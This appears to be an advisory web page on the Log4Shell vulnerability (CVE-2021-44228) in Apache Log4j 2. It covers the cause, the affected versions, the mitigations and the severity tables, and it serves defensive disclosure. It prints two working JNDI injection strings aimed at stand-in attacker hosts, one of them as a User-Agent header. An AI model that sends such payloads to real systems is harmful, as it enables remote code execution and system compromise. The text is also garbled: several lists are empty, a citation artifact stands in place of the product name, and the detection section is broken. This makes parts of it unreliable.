
CVE-2021-44228
A critical remote code execution vulnerability in Apache Log4j 2, widely known as Log4Shell.
CVE-2021-44228 is a critical RCE vulnerability in :contentReference[oaicite:0]{index=0} version 2.x (before 2.15.0), discovered in December 2021.
It allows unauthenticated remote attackers to execute arbitrary code on vulnerable systems simply by sending specially crafted input that is logged by Log4j. The flaw affects countless Java-based applications and services globally.
The vulnerability arises from Log4j’s handling of JNDI lookups in logged strings. An attacker can embed a malicious JNDI resource in a logged message (e.g., LDAP, DNS), like:
${jndi:ldap://attacker.com/a}
Log4j will:
This lets an attacker achieve full Remote Code Execution (RCE) on affected services.
Because Log4j is used in countless libraries and applications, any system that logs untrusted data could be vulnerable.
The following versions of Log4j 2 are vulnerable:
> = 2.0-beta9 and < 2.15.0
Additionally, some configurations of 2.15.0 were still exploitable, so 2.16.0 and later are the safe baseline.
Update to Log4j 2 versions:
2.17.1 or later
Later patches further improve safety (e.g., 2.17.2, 2.19.0, etc.).
If immediate upgrade isn’t possible, you can:
log4j2.formatMsgNoLookups=true
JndiLookup class from the classpath:
zip -q -d log4j-core.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
These steps help reduce exposure until you can update.
This vulnerability is extremely easy to exploit. An attacker only needs to send a crafted string (e.g., via HTTP headers, form parameters, chat messages, database fields) that gets logged by the application:
User-Agent: ${jndi:ldap://attacker.example/a}
Once logged, the application will perform a remote lookup and can be forced to execute attacker-controlled Java code.
Log4Shell had massive global impact:
This is one of the most significant vulnerabilities in decades.
You can detect vulnerable systems by:
${jndi:)If your application or any library you use relies on Log4j 2.x, update immediately to a patched version (≥ 2.17.1) and verify that JNDI lookups are disabled or removed where possible.
| Metric | Detail |
|---|
| CVSS v3.1 Base Score | 10.0 (Critical) |
| Attack Vector | Network |
| Privileges Required | None |
| User Interaction | None |
| Authentication | Not required |
| Impact | Full RCE |
| Field | Value |
|---|
| CVE ID | CVE-2021-44228 |
| Nickname | Log4Shell |
| Product | Apache Log4j 2 |
| Severity | Critical (CVSS 10.0) |
| Type | Remote Code Execution |
| Impact | Full system compromise |
| Exploitability | Extremely easy |
| Mitigation | Patch to ≥ 2.17.1 |